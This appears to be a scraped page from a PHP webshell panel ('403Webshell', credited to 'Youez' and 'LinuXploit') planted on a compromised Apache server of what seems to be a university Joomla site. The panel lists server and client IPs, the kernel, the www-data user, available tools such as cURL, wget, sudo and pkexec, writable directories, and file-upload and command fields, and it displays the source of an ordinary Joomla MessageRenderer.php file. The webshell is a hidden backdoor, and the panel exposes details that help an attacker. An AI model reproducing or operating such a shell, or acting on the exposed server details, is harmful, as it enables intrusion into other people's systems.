403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.197.209
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/pregrados/libraries/src/Document/Renderer/Html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/pregrados/libraries/src/Document/Renderer/Html/MessageRenderer.php
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Document\Renderer\Html;

use Joomla\CMS\Document\DocumentRenderer;
use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML document renderer for the system message queue
 *
 * @since  3.5
 */
class MessageRenderer extends DocumentRenderer
{
    /**
     * Renders the error stack and returns the results as a string
     *
     * @param   string  $name     Not used.
     * @param   array   $params   Associative array of values
     * @param   string  $content  Not used.
     *
     * @return  string  The output of the script
     *
     * @since   3.5
     */
    public function render($name, $params = [], $content = null)
    {
        $msgList     = $this->getData();
        $displayData = [
            'msgList' => $msgList,
            'name'    => $name,
            'params'  => $params,
            'content' => $content,
        ];

        $app        = Factory::getApplication();
        $chromePath = JPATH_THEMES . '/' . $app->getTemplate() . '/html/message.php';

        if (is_file($chromePath)) {
            include_once $chromePath;
        }

        if (\function_exists('renderMessage')) {
            @trigger_error(
                'renderMessage() is deprecated. Override system message rendering with layouts instead.',
                E_USER_DEPRECATED
            );

            return renderMessage($msgList);
        }

        return LayoutHelper::render('joomla.system.message', $displayData);
    }

    /**
     * Get and prepare system message data for output
     *
     * @return  array  An array contains system message
     *
     * @since   3.5
     */
    private function getData()
    {
        // Initialise variables.
        $lists = [];

        // Get the message queue
        $messages = Factory::getApplication()->getMessageQueue();

        // Build the sorted message list
        if (\is_array($messages) && !empty($messages)) {
            foreach ($messages as $msg) {
                if (isset($msg['type']) && isset($msg['message'])) {
                    $lists[$msg['type']][] = $msg['message'];
                }
            }
        }

        return $lists;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit